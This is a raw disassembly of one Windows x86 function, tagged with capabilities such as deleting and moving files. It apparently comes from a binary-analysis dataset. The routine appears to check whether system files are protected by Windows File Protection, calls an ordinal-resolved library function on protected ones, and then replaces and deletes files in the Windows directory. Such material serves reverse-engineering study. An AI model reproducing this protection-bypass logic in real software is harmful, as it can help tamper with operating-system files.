Function at 0x43d510
Capabilities:
Delete file
Get common file path
Move file

Disassembly:
push 0xffffffffffffffff
push 0x440e2b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xb7c
push ebx
push ebp
push esi
push edi
lea ecx, [esp + 0x14]
xor ebp, ebp
xor edi, edi
call fcn.0043bc30
mov ebx, dword [esp + 0xb9c]
mov dword [esp + 0xb94], ebp
mov dword [ebx + 0x2c], 0xffffffff
mov dword [ebx + 0x30], ebp
mov eax, dword [ebx + 0x30]
cmp eax, ebp
je 0x43d560
mov eax, dword [eax]
mov dword [ebx + 0x30], eax
mov eax, dword [ebx + 0x30]
cmp eax, ebp
je 0x43d56c
add eax, 4
jmp 0x43d596
mov edx, dword [ebx + 0x2c]
mov esi, dword [ebx + 8]
inc edx
mov eax, edx
mov dword [ebx + 0x2c], edx
cmp eax, esi
jae 0x43d5a1
mov edx, dword [ebx + 4]
mov ecx, dword [edx + eax*4]
cmp ecx, ebp
mov dword [ebx + 0x30], ecx
jne 0x43d593
inc eax
cmp eax, esi
mov dword [ebx + 0x2c], eax
jae 0x43d5a1
jmp 0x43d57f
lea eax, [ecx + 4]
cmp dword [eax + 0x124], ebp
jne 0x43d554
inc edi
jmp 0x43d554
cmp edi, ebp
je 0x43db6f
call fcn.00415c00
test eax, eax
je 0x43d5d0
lea ecx, [esp + 0x14]
mov dword [esp + 0xb94], 0xffffffff
call fcn.0043bc60
mov eax, 6
jmp 0x43db85
lea ecx, [esp + 0x470]
push ecx
call fcn.0043dbf0
add esp, 4
test eax, eax
je 0x43d602
lea ecx, [esp + 0x14]
mov dword [esp + 0xb94], 0xffffffff
call fcn.0043bc60
mov eax, 6
jmp 0x43db85
lea edx, [esp + 0x470]
push edx
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
cmp eax, ebp
mov dword [esp + 0x28], eax
jne 0x43d636
lea ecx, [esp + 0x14]
mov dword [esp + 0xb94], 0xffffffff
call fcn.0043bc60
mov eax, 6
jmp 0x43db85
push 5
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [esp + 0x24], eax
lea eax, [esp + 0x678]
push 0x104
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
lea ecx, [esp + 0x678]
push 0x47c46c
push ecx
push 0x45fe94
lea edx, [esp + 0x788]
push 0x104
push edx
call fcn.00407080
add esp, 0x14
lea eax, [esp + 0x678]
lea ecx, [esp + 0x880]
push 0x47c454
push eax
push 0x45fe94
push 0x104
push ecx
call fcn.00407080
add esp, 0x14
mov dword [ebx + 0x2c], 0xffffffff
mov dword [ebx + 0x30], ebp
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x43d6ba
mov edx, dword [eax]
mov dword [ebx + 0x30], edx
mov eax, dword [ebx + 0x30]
test eax, eax
je 0x43d6c6
lea ebp, [eax + 4]
jmp 0x43d6f8
mov edx, dword [ebx + 0x2c]
mov esi, dword [ebx + 8]
inc edx
mov eax, edx
mov dword [ebx + 0x2c], edx
cmp eax, esi
jae 0x43db56
mov edx, dword [ebx + 4]
mov ecx, dword [edx + eax*4]
test ecx, ecx
mov dword [ebx + 0x30], ecx
jne 0x43d6f5
inc eax
cmp eax, esi
mov dword [ebx + 0x2c], eax
jae 0x43db56
jmp 0x43d6dd
lea ebp, [ecx + 4]
mov eax, dword [ebp + 0x124]
test eax, eax
jne 0x43d6ae
push 0x47c444
push ebp
mov dword [ebp + 0x128], 0
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c438
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c42c
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c420
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c414
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c408
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c400
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x47c3f4
push ebp
call dword [sym.imp.SHLWAPI.dll_StrStrIA]
test eax, eax
jne 0x43d6ae
push 0x5c
push ebp
call dword [sym.imp.ntdll.dll_strrchr]
add esp, 8
mov dword [esp + 0x10], eax
test eax, eax
je 0x43d6ae
inc eax
mov edx, 0x47c3f0
lea ecx, [esp + 0x3c]
mov dword [esp + 0x10], eax
mov esi, 0x104
lea eax, [esp + 0x3c]
sub edx, ecx
mov cl, byte [edx + eax]
test cl, cl
je 0x43d7e4
mov byte [eax], cl
inc eax
dec esi
jne 0x43d7d5
jmp 0x43d7e8
test esi, esi
jne 0x43d7e9
dec eax
mov byte [eax], 0
mov ecx, 0x104
lea eax, [esp + 0x3c]
cmp byte [eax], 0
je 0x43d800
inc eax
dec ecx
jne 0x43d7f5
jmp 0x43d847
test ecx, ecx
je 0x43d847
lea edx, [esp + 0x1c]
test edx, edx
je 0x43d819
mov eax, 0x104
sub eax, ecx
mov dword [esp + 0x1c], eax
jmp 0x43d81d
mov eax, dword [esp + 0x1c]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x3c]
je 0x43d847
mov esi, dword [esp + 0x10]
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x43d83f
mov byte [eax], cl
inc eax
dec edx
jne 0x43d830
jmp 0x43d843
test edx, edx
jne 0x43d844
dec eax
mov byte [eax], 0
mov ecx, 0x104
lea eax, [esp + 0x3c]
cmp byte [eax], 0
je 0x43d85b
inc eax
dec ecx
jne 0x43d850
jmp 0x43d8a3
test ecx, ecx
je 0x43d8a3
lea eax, [esp + 0x20]
test eax, eax
je 0x43d874
mov eax, 0x104
sub eax, ecx
mov dword [esp + 0x20], eax
jmp 0x43d878
mov eax, dword [esp + 0x20]
mov edx, 0x104
sub edx, eax
lea eax, [esp + eax + 0x3c]
je 0x43d8a3
mov esi, 0x47c258
sub esi, eax
mov cl, byte [esi + eax]
test cl, cl
je 0x43d89b
mov byte [eax], cl
inc eax
dec edx
jne 0x43d88c
jmp 0x43d89f
test edx, edx
jne 0x43d8a0
dec eax
mov byte [eax], 0
lea ecx, [esp + 0x3c]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
xor edi, edi
mov esi, 0xea60
mov eax, dword [ebp + 0x12c]
lea edx, [esp + 0x3c]
push esi
push edx
mov ecx, dword [eax]
push ecx
call fcn.0043c080
add esp, 0xc
test eax, eax
je 0x43d8f3
cmp edi, 3
jge 0x43d8da
inc edi
add esi, esi
jmp 0x43d8b5
mov esi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea edx, [esp + 0x3c]
push edx
call esi
lea eax, [esp + 0x3c]
push eax
call esi
jmp 0x43d6ae
lea ecx, [esp + 0x2c]
push 0
lea edx, [esp + 0x40]
push ecx
push edx
call fcn.004147f0
add esp, 0xc
test eax, eax
jne 0x43d91b
lea eax, [esp + 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x43d6ae
lea ecx, [esp + 0x140]
lea edx, [esp + 0x2c]
push ecx
push edx
call fcn.0043dba0
mov ecx, dword [ebp + 0x12c]
add esp, 8
lea eax, [esp + 0x140]
add ecx, 4
push eax
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcmpiA]
test eax, eax
je 0x43d95c
lea edx, [esp + 0x3c]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x43d6ae
mov esi, dword [esp + 0x10]
lea eax, [esp + 0x164]
push esi
push 0x47c3e8
push 0x104
push eax
call fcn.00407080
lea ecx, [esp + 0x174]
push ecx
call fcn.00414f90
add esp, 0x14
test eax, eax
je 0x43d9f0
mov edi, dword [sym.imp.MSVCRT.dll_rand]
call edi
lea edx, [esp + 0x164]
push eax
push edx
push 0x47c3e0
lea eax, [esp + 0x274]
push 0x104
push eax
call fcn.00407080
lea ecx, [esp + 0x27c]
push ecx
call fcn.00414f90
add esp, 0x18
test eax, eax
jne 0x43d992
mov edi, dword [sym.imp.KERNEL32.dll_MoveFileExA]
lea edx, [esp + 0x268]
push 1
lea eax, [esp + 0x168]
push edx
push eax
call edi
push 4
lea ecx, [esp + 0x26c]
push 0
push ecx
call edi
lea edx, [esp + 0x3c]
push 0x47c3f0
push edx
lea ecx, [esp + 0x1c]
call fcn.0043bc70
test eax, eax
je 0x43d90b
mov edi, dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [esp + 0x3c]
push eax
call edi
lea ecx, [esp + 0x164]
push ecx
call fcn.00414f90
add esp, 4
test eax, eax
jne 0x43da38
lea edx, [esp + 0x3c]
push edx
call edi
jmp 0x43d6ae
lea eax, [esp + 0x984]
push 0x208
push eax
mov edi, ebp
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
push ecx
push ebp
push eax
push eax
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
lea ecx, [esp + 0x984]
push ecx
push 0
call sub.sfc.dll_SfcIsFileProtected
test eax, eax
je 0x43db26
lea edx, [esp + 0x984]
push 0xffffffffffffffff
push edx
push 0
call dword [esp + 0x30]
test eax, eax
je 0x43da8b
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [esp + 0x77c]
push esi
push eax
push 0x44aae4
lea ecx, [esp + 0x378]
push 0x104
push ecx
call fcn.00407080
add esp, 0x14
lea edx, [esp + 0x880]
lea eax, [esp + 0x574]
push esi
push edx
push 0x44aae4
push 0x104
push eax
call fcn.00407080
lea ecx, [esp + 0x380]
push ecx
call fcn.00414f90
add esp, 0x18
test eax, eax
je 0x43dafa
lea edx, [esp + 0x164]
lea eax, [esp + 0x36c]
push edx
push eax
call fcn.0043d410
add esp, 8
lea ecx, [esp + 0x574]
push ecx
call fcn.00414f90
add esp, 4
test eax, eax
je 0x43db26
lea edx, [esp + 0x164]
lea eax, [esp + 0x574]
push edx
push eax
call fcn.0043d410
add esp, 8
lea ecx, [esp + 0x164]
push ecx
push ebp
call fcn.0043d410
add esp, 8
lea edx, [esp + 0x164]
neg eax
sbb eax, eax
push edx
neg eax
mov dword [ebp + 0x128], eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
jmp 0x43d6ae
mov ecx, dword [esp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
lea edx, [esp + 0x470]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [esp + 0x14]
mov dword [esp + 0xb94], 0xffffffff
call fcn.0043bc60
xor eax, eax
mov ecx, dword [esp + 0xb8c]
pop edi
pop esi
pop ebp
pop ebx
mov dword fs:[0], ecx
add esp, 0xb88
ret